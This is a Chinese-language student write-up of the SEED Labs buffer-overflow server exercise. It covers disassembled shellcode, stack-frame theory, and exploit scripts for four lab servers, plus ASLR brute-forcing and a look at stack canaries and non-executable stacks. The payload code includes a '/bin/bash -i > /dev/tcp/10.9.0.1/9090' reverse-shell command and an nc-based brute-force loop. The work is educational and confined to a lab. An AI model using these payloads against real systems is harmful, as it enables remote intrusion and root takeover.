第二个实验~来自https://seedsecuritylabs.org/chinese/labs/Software/Buffer_Overflow_Server/

pwn真是太难了


缓冲区溢出攻击实验

任务 1: 熟悉 Shellcode

由任务书可知,本次任务中的 shellcode 是一段汇编代码的二进制版本,因此我们可以将其翻译为汇编代码。

使用反汇编库 Capstone Engine 来完成我们想要的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from capstone import *

# 1. 准备 Shellcode
shellcode = (
b"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
b"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
b"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
)

# 2. 初始化反汇编器
# CS_ARCH_X86: 架构是 x86
# CS_MODE_32: 模式是 32位
md = Cs(CS_ARCH_X86, CS_MODE_32)

print(f"{'地址':<10} {'指令':<10} {'操作数'}")
print("-" * 30)

# 3. 反汇编
# 0x1000 是我们假设的这段代码在内存中的起始地址
for i in md.disasm(shellcode, 0x1000):
print(f"0x{i.address:x}:\t{i.mnemonic}\t{i.op_str}")

得到结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
地址         指令         操作数
------------------------------
0x1000: jmp 0x102b
0x1002: pop ebx
0x1003: xor eax, eax
0x1005: mov byte ptr [ebx + 9], al
0x1008: mov byte ptr [ebx + 0xc], al
0x100b: mov byte ptr [ebx + 0x47], al
0x100e: mov dword ptr [ebx + 0x48], ebx
0x1011: lea ecx, [ebx + 0xa]
0x1014: mov dword ptr [ebx + 0x4c], ecx
0x1017: lea ecx, [ebx + 0xd]
0x101a: mov dword ptr [ebx + 0x50], ecx
0x101d: mov dword ptr [ebx + 0x54], eax
0x1020: lea ecx, [ebx + 0x48]
0x1023: xor edx, edx
0x1025: xor eax, eax
0x1027: mov al, 0xb
0x1029: int 0x80
0x102b: call 0x1002

解析:

  • jmp 0x102b: 程序一开始就跳到了最末尾。
  • call 0x1002: 末尾是一条 call 指令,它跳回头部。
    • call 指令有一个副作用,它会把下一条指令的地址压入堆栈。而紧跟在 call 后面的,正是我们要执行的字符串(/bin/bash...),因此 call 指令需要放在最后,从而获取到字符串的地址。
  • pop ebx: 跳回头部后,第一件事就是 pop ebx。这把刚才压入堆栈的地址(也就是字符串的地址)拿了出来,存入 ebx 寄存器。
    • 这样,Shellcode 就动态获取了字符串在内存中的位置。
  • mov byte ptr [ebx + ...], al: 这些指令是在把字符串里的占位符(比如 *)替换成 0x00(空字节),因为 shellcode 不能直接包含空字节。
  • dword ptr [ebx + 0x48], ebx: 由上文可看出 [ebx + 0x47]"/bin/ls -l; echo Hello 32; /bin/tail -n 2 /etc/passwd *" 字符串中 * 占位符的地址,因此该指令是将接下来的 AAAA 字符串替换为指令0的地址(argv[0] 的地址)。
    • 接下来的操作同理。
  • int 0x80: 最后调用 Linux 内核,执行 /bin/bash

接下来实现删除文件的功能:

  1. 修改 shellcode :将执行代码行修改为"/bin/rm useless_file; *"

  2. 执行:修改原有 Makefile 文件,使得其能够一键运行:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    # 1. 生成 Shellcode 二进制文件
    # 运行前先给予 Python 脚本执行权限,确保不会报 Permission denied
    gen:
    chmod +x shellcode_32.py shellcode_64.py
    ./shellcode_32.py
    ./shellcode_64.py

    # 2. 一键运行 32 位测试
    # 依赖关系: all (确保 .out 已编译), gen (确保 codefile 已生成)
    run32: all gen
    @echo "\n[+] Running 32-bit Shellcode test..."
    ./a32.out

    # 3. 一键运行 64 位测试
    run64: all gen
    @echo "\n[+] Running 64-bit Shellcode test..."
    ./a64.out
  3. 运行截图:

    任务1-1生成useless

    任务1-2删除成功

任务 2:第一关

服务器

按照实验手册指导,得到服务器响应:

1
2
3
4
5
6
server-1-10.9.0.5 | Got a connection from 10.9.0.1
server-1-10.9.0.5 | Starting stack
server-1-10.9.0.5 | Input size: 6
server-1-10.9.0.5 | Frame Pointer (ebp) inside bof(): 0xffffd3f8
server-1-10.9.0.5 | Buffer's address inside bof(): 0xffffd388
server-1-10.9.0.5 | ==== Returned Properly ====

由此可知:

  • Buffer’s Address: 缓冲区在内存中的起始位置为 0xffffd388
  • EBP: 当前栈帧的底部指针为 0xffffd3f8

复习

为了了解程序在内存中是如何执行的,接下来我们来复习操作系统相关部分的知识:

源漏洞程序 stack.c 的部分源代码为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* 更改此值将改变堆栈布局。
* 教师可以每年更改此值,以防止学生使用过往的答案。 */
#ifndef BUF_SIZE
#define BUF_SIZE 200
#endif

int bof(char *str)
{
char buffer[BUF_SIZE];
/* 下面的语句存在缓冲区溢出问题 */
strcpy(buffer, str);
return 1;
}

void foo(char *str)
{
...
bof(str);
}

int main(int argc, char **argv)
{
char str[517];
int length = fread(str, sizeof(char), 517, stdin);
foo(str);
fprintf(stdout, "==== Returned Properly ====\n");
return 1;
}
  • 32位 Linux 的进程虚拟内存模型为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    高地址 (0xFFFFFFFF)
    +----------------------+
    | Kernel Space | <-- 操作系统内核空间 (用户态不可访问)
    +----------------------+ <--- 0xC0000000 (3GB边界)
    | Stack (栈) | <-- 存放函数调用、局部变量
    | ↓ (向下生长) |
    | |
    | ... |
    | |
    | ↑ (向上生长) |
    | Heap (堆) | <-- 动态分配内存 (malloc/new)
    +----------------------+
    | BSS Segment | <-- 未初始化的全局变量
    +----------------------+
    | Data Segment | <-- 已初始化的全局变量 (static var)
    +----------------------+
    | Text Segment | <-- 代码段 (二进制机器码,只读)
    +----------------------+
    低地址 (0x00000000)
    • 在函数调用的时候,操作系统为该函数在上分配一块连续内存区域,它用于存储函数执行过程中所需的上下文信息,包括局部变量、参数、返回地址等,该上下文信息被称为栈帧

      • 32位 x86 架构的函数调用步骤为:
        • 调用方 (foo) :push 参数。
        • 调用方 (foo) :执行 call function 指令。
          • CPU 自动把 Return Address(调用方 foo 中的 call function 的下一行指令的地址)压入栈。
          • PC 跳转到 bof 的代码地址。
        • 被调用方 (bof) 动作:执行函数序言(Prologue)。
          • push ebp(保存旧底座)。
          • mov ebp, esp(建立新底座)。
    • 典型栈帧的组成结构为:

    • 部分 作用
      参数传递区域 存储传入函数的参数(如 func(a, b); 中的 a 和 b)。
      返回地址 保存函数调用结束后,程序计数器(PC)应回到的位置(即调用函数的下一条指令地址)。
      调用者的栈帧指针(原有的 ebp) 保存前一个栈帧的基址指针(如 ebp/rbp),用于恢复调用函数的栈帧。
      局部变量 存储函数内部定义的局部变量(如 int a = 10;)。
      临时数据 编译器生成的临时变量(如表达式计算的中间结果)。
      寄存器保存区 保存需要恢复的寄存器状态(如 ebxesi 等)。
      • 关键信息:

        • 返回地址 (Return Address): 当前函数执行完后,需要返回的地址。

          • 例如:

            1
            2
            3
            4
            5
            6
            7
            8
            9
            10
            11
            12
            13
            地址 | 	代码段
            1 int bof(char *str)
            2 {
            3 char buffer[BUF_SIZE];
            4 strcpy(buffer, str);
            5 return 1;
            6 }
            7
            8 void foo(char *str)
            9 {
            10 ...
            11 bof(str);
            12 }
          • 步骤:

            1. foo 调用 bof 函数,保存 bof(str) 的下一行地址 12
            2. 地址跳转到 1,开始执行 bof 函数
            3. 执行完毕,使用保存的地址,回到地址 12
        • 栈底指针 (ebp): 用于定位的指针。

          • x86 架构中函数调用过程遵循 cdecl 调用约定,即总是按照函数参数 -> 返回地址 -> 原有 ebp 变量 的顺序进行压栈。在压栈后,将新 ebp 的值赋值为最新栈顶的值,即:

            1
            2
            3
            4
            5
            6
            push args
            call function

            function:
            push ebp
            mov ebp, esp
          • 然后使用减法指令局部变量 一次性划拨空间,例如 sub esp, 0x64 (100字节)。

          • 多个函数参数的压栈顺序是从右到左,这样可以实现从低地址到高地址分别为参数1,参数2…

          • 内存的状态(从上到下为高地址到低地址),因此我们能够通过 ebp 的值来索引栈帧的内容:

            地址 内容 备注
            0x100c 参数2
            0x1008 参数1 [当前 ebp + 8]
            0x1004 返回地址 RET [当前 ebp + 4]
            0x1000 原有 ebp 的值 [当前 ebp]
            局部变量区 [当前 ebp - N]
    • 栈是从高地址向低地址生长的。因此,内存中栈帧的排列顺序如下:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      高地址 (High Address)
      +-----------------------------+
      | Stack Frame for main() | <-- 最早被压入
      +-----------------------------+
      | Stack Frame for foo() |
      +-----------------------------+
      | Stack Frame for bof() | <-- 当前正在执行,位于栈顶 (低地址端)
      +-----------------------------+
      低地址 (Low Address)
    • 因此实际上运行时栈的状态为:

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      地址 (高)
      ^
      | [ main 的栈帧 ]
      | ---------------------------------------
      | | char str[517] (原始数组) |
      | | [ "AAAA....Shellcode..." ] |
      | | (起始地址假设为 0xBFFF9999) |
      | ---------------------------------------
      |
      | [ foo 的栈帧 ] (略)
      |
      | [ bof 的栈帧 ]
      | ---------------------------------------
      | | 参数 str (4字节指针) |
      | | 值 = 0xBFFF9999 |
      | |-------------------------------------|
      | | Return Address |
      | |-------------------------------------|
      | | Saved EBP |<--- 当前 ebp 指向的地址
      | |-------------------------------------|
      | | buffer[199] |<--- 局部变量区,使用ebp相对寻址
      | | ... |
      v
      地址 (低)

分析

通过上面的复习,我们攻击的要点就是 Return Address,利用 strcpy 的漏洞,可以将我们的攻击代码注入到当前的栈帧中,步骤为:

  1. 使用 NOP 填充 str 的内容。
  2. 将我们的 shellcode 复制到 str[517] 的末尾。
  3. str[517] 中找到特殊的位置,使得 strcpy 后刚好能覆盖当前栈帧的 Return Address
  4. 将该位置的值换为 buffer 内部靠前的位置,这样函数调用结束后,将会跳转到 NOP 指令,然后滑到我们的 shellcode

所以我们需要计算 buffer[0]Return Address 之间的距离 offset,则 str[offset] 位置就是覆盖后的 Return Address

1
[ buffer[0] ] -> ... -> [ buffer[199] ] -> [ 编译器填充、其他填充(位置大小) ] -> [ Saved EBP (4 字节) ] -> [ Return Address (4 字节) ]        

根据上述图示我们可得:

offset=[Addr(EBP)Addr(buffer)]+4

我们当前的内存分布为:

1
2
3
4
5
6
7
8
9
低地址
str[0] | NOP
| NOP ...
| ------------------
str[offset] | 准备修改的 Return Address
| ------------------
| NOP ...
| Shellcode
高地址

只要我们将跳转位置设置为原本 Return Address 位置后面的任意 NOP 的地址,最终都能到达我们的 shellcode ,因此我们有:

ret=Addr(EBP)+0x20(理论上任意大于8的数字都可以)

这样最终能成功执行我们的 shellcode

执行

\attack-code 中的 exploit.py 填写为分析的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/python3
import sys

shellcode= (
"\xeb\x29\x5b\x31\xc0\x88\x43\x09\x88\x43\x0c\x88\x43\x47\x89\x5b"
"\x48\x8d\x4b\x0a\x89\x4b\x4c\x8d\x4b\x0d\x89\x4b\x50\x89\x43\x54"
"\x8d\x4b\x48\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xe8\xd2\xff\xff\xff"
"/bin/bash*"
"-c*"
# You can modify the following command string to run any command.
# You can even run multiple commands. When you change the string,
# make sure that the position of the * at the end doesn't change.
# The code above will change the byte at this position to zero,
# so the command string ends here.
# You can delete/add spaces, if needed, to keep the position the same.
# The * in this line serves as the position marker *
"/bin/bash -i > /dev/tcp/10.9.0.1/9090 0<&1 2>&1 *"
"AAAA" # Placeholder for argv[0] --> "/bin/bash"
"BBBB" # Placeholder for argv[1] --> "-c"
"CCCC" # Placeholder for argv[2] --> the command string
"DDDD" # Placeholder for argv[3] --> NULL
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
buffer_addr = 0xffffd388
ebp_addr = 0xffffd3f8

ret = ebp_addr + 0x20 # Change this number
offset = (ebp_addr - buffer_addr) + 4 # Change this number

# Use 4 for 32-bit address and 8 for 64-bit address
content[offset:offset + 4] = (ret).to_bytes(4,byteorder='little')
##################################################################

# Write the content to a file
with open('badfile', 'wb') as f:
f.write(content)

其中 shellcode 的内容是根据实验指导书的内容进行改写。

然后我们运行生成 badfile ,在一个终端内监听 9090 端口,另一个终端发送我们刚刚生成的 badfile 到 server1 中,最终实现的效果为:任务2-2攻击成功

成功获取到了服务器1的root权限。

任务 3: 第二关

首先我们向服务器发送响应,得到基础信息:

1
2
3
4
5
server-2-10.9.0.6 | Got a connection from 10.9.0.1
server-2-10.9.0.6 | Starting stack
server-2-10.9.0.6 | Input size: 6
server-2-10.9.0.6 | Buffer's address inside bof(): 0xffffd338
server-2-10.9.0.6 | ==== Returned Properly ====

由此可知:

  • Buffer’s Address: 缓冲区在内存中的起始位置为 0xffffd388

由实验手册可得, server2 的响应只会提供当前的 buffer_addr ,并不知道 ebp_addr ,也就不能知道精准的 Return Address 位置。我们现在攻击的思路是覆盖所有可能性

分析:

  • Return Address (RET) 肯定在 Saved EBP 的上面。
  • 假设缓冲区大小的范围是已知的,例如缓冲区大小范围(以字节为单位): [100, 200]。
  • 由于内存对齐的原因, 在 32 位程序中帧指针的值总是 4 的倍数,在 64 位程序中则是 8 的倍数。
  • 这意味着 RET 相对于 buffer 起始位置的偏移量,大概在 104 (100+4) 到 212 (200+8+4) 之间。我们将这个范围称为**“危险区”**。
  • 既然不知道 RET 具体在危险区的哪个点,那我们就把整个危险区全部填满同一个跳转地址
区域范围 (近似) 内容 作用
0 ~ 100 NOP (0x90) 前置填充
100 ~ 220 跳转地址 (RET) x N [喷射区] 这里覆盖了所有可能的返回地址位置
220 ~ 400 NOP (0x90) [着陆区] 跳转地址指向这里
End Shellcode 恶意代码放在最后

修改我们任务1中的 exploit.py 攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# shellcode 放在最后
start = 517 - len(shellcode)
content[start:] = shellcode

# ret 需要跳在着陆区
# 喷射区大概到 220 结束。
# 我们选一个安全的数字,比如 300。
ret = buffer_addr + 300

# 喷射覆盖所有可能的 RET 位置
# 为了安全考虑,我们扩大喷射区的范围
# 步长为 4,因为地址是 4 字节的。

for offset in range(100, 230, 4):
content[offset : offset + 4] = (ret).to_bytes(4, byteorder='little')

之后,我们故技重施,将 badfile 发送给 server2,成功获取 root 权限:任务3-2攻击成功

任务 4:第 3 关

首先我们向服务器发送响应,得到基础信息:

1
2
3
4
5
6
server-3-10.9.0.7 | Got a connection from 10.9.0.1
server-3-10.9.0.7 | Starting stack
server-3-10.9.0.7 | Input size: 6
server-3-10.9.0.7 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe330
server-3-10.9.0.7 | Buffer's address inside bof(): 0x00007fffffffe260
server-3-10.9.0.7 | ==== Returned Properly ====

由此可知:

  • Buffer’s Address: 缓冲区在内存中的起始位置为 0x00007fffffffe260
  • RBP: 当前栈帧的底部指针为 0x00007fffffffe330

根据实验指导书,在 x64 架构下,我们的内存地址空间只支持 0x000x00007FFFFFFFFFFF 的地址。因此最终计算得出的 Return Address 的位置一定是这个范围内的,类似于 \x70 \xe0 \xff \xff \xff \x7f \x00 \x00 的排布。由于 strcpy 的限制,当遇到 \0 时认为是字符串结束,从而结束复制。

如果采取我们之前的策略,将 shellcode 放在 badfile 的末尾,会导致 strcpy 还没复制 shellcode 的部分就已经停止复制。

由于我们本次任务中 buffer 缓冲区足够大,我们能够将shellcode放在 buffer 中(Return Address 之前),因此我们的策略就是把 shellcode 放在前面,此时我们的 Payload 结构为:

1
2
3
4
5
6
7
低地址 (Buffer 开始)
| Shellcode (恶意代码)
| ------------------
| NOP
| ------------------
| Return Address
高地址

我们修改 exploit.py ,首先将 shellcode 修改为64位的版本,然后我们修改主要部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 把它放在前面,比如 Buffer 开头往后 10 个字节的地方,留一点 NOP 当缓冲
start = 10 # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
rbp_addr = 0x00007fffffffe330
buffer_addr = 0x00007fffffffe260

offset = (rbp_addr - buffer_addr) + 8

ret = buffer_addr

content[offset : offset + 8] = (ret).to_bytes(8, byteorder='little')

之后,我们故技重施,将 badfile 发送给 server3,成功获取 root 权限:任务4-1攻击成功

任务 5:第 4 关

首先我们向服务器发送响应,得到基础信息:任务5-1服务器响应

1
2
3
4
server-4-10.9.0.8 | Input size: 6
server-4-10.9.0.8 | Frame Pointer (rbp) inside bof(): 0x00007fffffffe450
server-4-10.9.0.8 | Buffer's address inside bof(): 0x00007fffffffe3f0
server-4-10.9.0.8 | ==== Returned Properly ====

由此可知:

  • Buffer’s Address: 缓冲区在内存中的起始位置为 0x00007fffffffe3f0
  • RBP: 当前栈帧的底部指针为 0x00007fffffffe450

可以看到帧指针和缓冲区地址之间的距离比第 3 级要小得多,我们无法在开头注入 shellcode

我们思考一下,在 bof 函数内我们使用了 strcpy(buffer, str) 来向 buffer 注入 shellcode,因此这个 str 一定保存了我们的原始数据,其中就能包含 shellcode

回忆一下 stack.c 的工作流程:main函数调用 fread(str, sizeof(char), 517, stdin) -> main函数调用 foo(str) -> foo函数调用 bof(str) -> bof函数调用 strcpy(buffer, str)main 函数栈帧应该是栈的最顶部位置,因此我们尝试暴力破解之间的距离:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

##################################################################
# Put the shellcode somewhere in the payload
start = 517 - len(shellcode) # Change this number
content[start:start + len(shellcode)] = shellcode

# Decide the return address value
# and put it somewhere in the payload
rbp_addr = 0x00007fffffffe450
buffer_addr = 0x00007fffffffe3f0

offset = (rbp_addr - buffer_addr) + 8

# 尝试范围:0 到 2000 字节
for distance in range(0, 2000, 32):

# 计算目标跳转地址:从 RBP 往高地址跳 distance 距离
ret = rbp_addr + distance

print(f"[*] Trying distance: {distance}\nRet Addr: {hex(ret)}")

# 写入跳转地址
content[offset : offset + 8] = (ret).to_bytes(8, byteorder='little')

# 生成文件
with open('badfile', 'wb') as f:
f.write(content)

# 发送攻击
# 如果攻击成功,反向shell会连到另一个窗口
print(os.system("cat badfile | nc 10.9.0.8 9090"))

打开一个终端开始监听 9090 端口,然后在另一个端口上执行 expolit.py ,破解成功:任务5-2暴力破解

最终 Ret Address 停在 0x7fffffffe8f0 ,表示跳转在此地址时,能够成功跳转到 main 函数栈帧。

任务 6:实验地址随机化

当我们开启地址空间布局随机化后,这是向 server1 发送后得到的响应: 任务6-1多次发送server1

这是向 server3 发送后得到的响应:任务6-2多次发送server3

我们发现每次重启服务器后,服务器在内存空间的地址都不一样,也就是说我们第一次尝试发送 hello 从而获得的 buffer_addrebp_addr 在下一次准备发送 badfile 时就不一致了,这使得我们上面的方案失效。

由于在 32 位 Linux 系统中,可用进行地址随机化的比特数仅为 19 比特。这不够用,如果我们反复运行攻击,则很容易击中目标。尝试暴力破解:任务6-3暴力破解

这一次足够幸运,我们发现仅仅只过了37s就成功获取了反向shell。

任务 7:实验其他防护措施

任务 7.a: 启用 StackGuard 保护

现象

当我们去掉 -fno-stack-protector 重新编译,并再次运行攻击命令 $ ./stack-L1 < badfile 时,我们观察到:任务7-1缓冲区溢出保障

可见系统报错 stack smashing detected 。这意味着程序知道有人在攻击它。

原理

通过网上查询资料,当我们开启 StackGuard 后,编译器会往每个栈帧的局部变量和控制信息 (EBP/RET) 之间中插入一个随机生成的整数,术语叫 Canary(金丝雀)

内存分布为:

1
[ Buffer ] ---> [ 金丝雀 (Canary) ] ---> [ Saved EBP ] ---> [ Return Address ]

检测逻辑:

  • **函数开始 **: 程序从 gs 寄存器(一个特殊的段寄存器,存放线程局部存储)中取出一个随机数,把它放到栈上的 Canary 位置。

    1
    2
    mov    rax, qword ptr fs:[0x28]  ; 取随机数
    mov qword ptr [rbp-0x8], rax ; 放到栈里
  • 溢出攻击: 例如 strcpy 操作不加区分地向高地址写入数据。

    • 覆盖 Buffer
    • 覆盖 Canary
    • 覆盖 Saved EBP
    • 覆盖 Return Address
  • 函数结束: 在执行 ret 指令跳转之前,程序会先执行检查:

    1
    2
    3
    4
    mov    rdx, qword ptr [rbp-0x8]  ; 把栈里的 Canary 拿出来
    xor rdx, qword ptr fs:[0x28] ; 和原本的随机数对比
    je normal_return ; 如果一样,说明没被破坏,正常返回
    call __stack_chk_fail ; 如果不一样,报错

因为溢出攻击不可避免地修改了位于 Buffer 和 Return Address 之间的 Canary 值,检查步骤就会发现不一致,从而调用 __stack_chk_fail 函数。

这个函数会做两件事:

  1. 向屏幕打印 *** stack smashing detected ***
  2. 调用 abort() 立即终止程序。

任务 7.b: 启用不可执行栈保护

当我们使用 -z noexecstack 重新编译 call_shellcode.c 后,重新运行程序,得到:任务7-2noexecstack

程序试图跳到栈上执行 shellcode ,被操作系统杀死了。

原因是使用 -z noexecstack 编译程序时,GCC 链接器会在可执行文件的头部打上一个标记,告诉操作系统内核:栈只有读写权限,没有执行权限。

当程序加载进内存时,操作系统会将栈内存页的权限设置为 RW- (Read, Write, No Execute)。

  • 代码段 (Text Segment):R-X (可读,可执行,不可写)
  • 栈段 (Stack Segment):RW- (可读,可写,不可执行)

call_shellcode.c 运行到跳转指令时:

  1. CPU 的取指单元尝试从栈地址(例如 0xbfff...)读取指令。
  2. CPU 的内存管理单元(MMU)检查该地址的页表权限。
  3. MMU 发现该页面标记了 NX (不可执行)。
  4. MMU 抛出硬件异常。
  5. 操作系统内核捕获这个异常,判定该进程试图执行数据区的代码,属于非法操作。
  6. 操作系统发送 SIGSEGV 信号终止进程。

但是这并不能修复缓冲区溢出(数据依然溢出了,返回地址依然被覆盖了),它只是阻止了你在栈上执行代码。黑客们因此发明了 Return-to-LibcROP (面向返回编程) 技术,利用已有的代码(如 libc 库函数)来绕过这一防御。